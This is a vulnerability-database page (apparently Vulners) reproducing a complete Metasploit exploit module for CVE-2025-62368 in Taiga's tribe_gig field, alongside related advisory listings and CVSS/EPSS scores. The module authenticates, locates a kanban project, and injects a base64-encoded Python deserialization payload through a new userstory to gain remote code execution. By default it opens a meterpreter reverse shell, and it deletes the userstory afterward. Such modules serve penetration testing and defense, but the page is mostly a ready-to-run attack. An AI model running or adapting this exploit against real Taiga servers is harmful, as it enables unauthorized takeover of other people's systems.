Lucene search
K

Taiga tribe_gig authenticated unserialize remote code execution

🗓️ 07 Jan 2026 18:58:55Reported by rootjog, whotwagnerType 
metasploit
 metasploit
🔗 www.rapid7.com👁 334 Views

Exploits authenticated unserialization flaw in Taiga tribe_gig to create a userstory and achieve remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-62368
28 Oct 202523:12
circl
CNNVD
Taiga 代码问题漏洞
28 Oct 202500:00
cnnvd
CVE
CVE-2025-62368
28 Oct 202520:08
cve
Cvelist
CVE-2025-62368 Taiga Authenticated Remote Code Execution
28 Oct 202520:08
cvelist
EUVD
EUVD-2025-36562
28 Oct 202520:08
euvd
NVD
CVE-2025-62368
28 Oct 202521:15
nvd
OSV
CVE-2025-62368 Taiga Authenticated Remote Code Execution
28 Oct 202520:08
osv
Packet Storm
📄 Taiga Tribe_gig Authenticated Unserialize Remote Code Execution
7 Jan 202600:00
packetstorm
Positive Technologies
PT-2025-44208
28 Oct 202500:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 01/09/2026
9 Jan 202623:07
rapid7blog
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class TaigaClientException < StandardError; end

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Taiga tribe_gig authenticated unserialize remote code execution',
        'Description' => %q{
          This module exploits an unserialization flaw by
          creating a userstory in a project.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rootjog',      # Discovery
          'whotwagner'    # Metasploit Module
        ],
        'References' => [
          ['URL', 'https://github.com/taigaio/taiga-back/security/advisories/GHSA-cpcf-9276-fwc5'],
          ['CVE', '2025-62368']
        ],
        'Platform' => %w[linux unix python],
        'Targets' => [
          [
            'Python payload',
            {
              'Arch' => [ ARCH_PYTHON ],
              'Platform' => 'python',
              'Type' => :python,
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ],
              'Platform' => %w[unix linux],
              'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'SSL' => false
        },
        'Privileged' => false,
        'DisclosureDate' => '2025-10-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to taiga', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ]
    )
  end

  def authenticate(user, pass)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api/v1/auth'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        username: user,
        password: pass,
        type: 'normal'
      }.to_json,
      'keep_cookies' => true
    )

    raise TaigaClientException, 'Login failed' if res&.code != 200

    parsed_json = res.get_json_document
    @token = parsed_json['auth_token']
    @taiga_user_id = parsed_json['id']
  end

  def get_project
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api/v1/projects'),
      'vars_get' => { 'member' => @taiga_user_id, 'order_by' => 'user_order' },
      'method' => 'GET',
      'ctype' => 'application/json',
      'keep_cookies' => true
    )

    raise TaigaClientException, 'Get projects failed!' if res&.code != 200

    projects = res.get_json_document
    projects.each do |project|
      @taiga_project = project['id'] if project['is_kanban_activated']
    end

    raise TaigaClientException, 'No project with activated kanban found' unless defined? @taiga_project
  end

  def get_status
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api/v1/userstories/filters_data'),
      'vars_get' => { 'project' => @taiga_project },
      'method' => 'GET',
      'ctype' => 'application/json',
      'keep_cookies' => true
    )

    raise TaigaClientException, 'Get status failed!' if res&.code != 200

    status_data = res.get_json_document
    raise TaigaClientException, 'No statuses found!' unless status_data.key? 'statuses'

    status_data['statuses'].each do |stat|
      return stat['id'] if stat['name'] == 'New'
    end
  end

  def delete_userstory(id)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, "api/v1/userstories/#{id}"),
      'method' => 'DELETE',
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Bearer #{@token}" },
      'keep_cookies' => true
    )
  end

  def send_payload(payload, project_status)
    temp_project = Rex::Text.rand_text_alpha(10..15)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'headers' => { 'Authorization' => "Bearer #{@token}" },
      'data' => {
        _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false,
        tribe_gig: payload.to_s
      }.to_json
    )
  end

  def check
    cookie_jar.clear
    begin
      authenticate(datastore['USERNAME'], datastore['PASSWORD'])
      get_project
      project_status = get_status
    rescue TaigaClientException => e
      return Exploit::CheckCode::Unknown(e)
    end
    sleep_time = rand(5..10)
    pl = Msf::Util::PythonDeserialization.payload(:py3_exec, "import os;os.system('sleep #{sleep_time}')")
    command = Rex::Text.encode_base64(pl)
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_payload(command, project_status)
    end
    return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res&.code == 201

    user_story_id = res.get_json_document['id']
    res = delete_userstory(user_story_id)
    print_warning('Cleanup failed') unless res&.code == 204

    print_status("Elapsed time: #{elapsed_time} seconds.")
    return Exploit::CheckCode::Vulnerable('Detected vulnerable Taiga.io') if sleep_time <= elapsed_time

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def execute_command(cmd, _opts = {})
    # calls some method to inject cmd to the vulnerable code.
    begin
      project_status = get_status
    rescue TaigaClientException => e
      fail_with(Failure::UnexpectedReply, e)
    end
    print_status('Sending payload..')
    res = send_payload(cmd, project_status)
    print_good('Payload sent')
    user_story_id = res.get_json_document['id']
    print_status('Cleanup..')
    res = delete_userstory(user_story_id)
    print_warning('Cleanup failed') unless res&.code == 204
    print_good('Userstory deleted')
  end

  def exploit
    cookie_jar.clear

    begin
      authenticate(datastore['USERNAME'], datastore['PASSWORD'])
      get_project
    rescue TaigaClientException => e
      fail_with(Failure::UnexpectedReply, e)
    end

    if target['Type'] == :python
      command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)
    else
      command = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, "import os;os.system('#{payload.encoded}')")
    end
    data = Rex::Text.encode_base64(command)
    execute_command(data)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19
EPSS0.01405
SSVC
334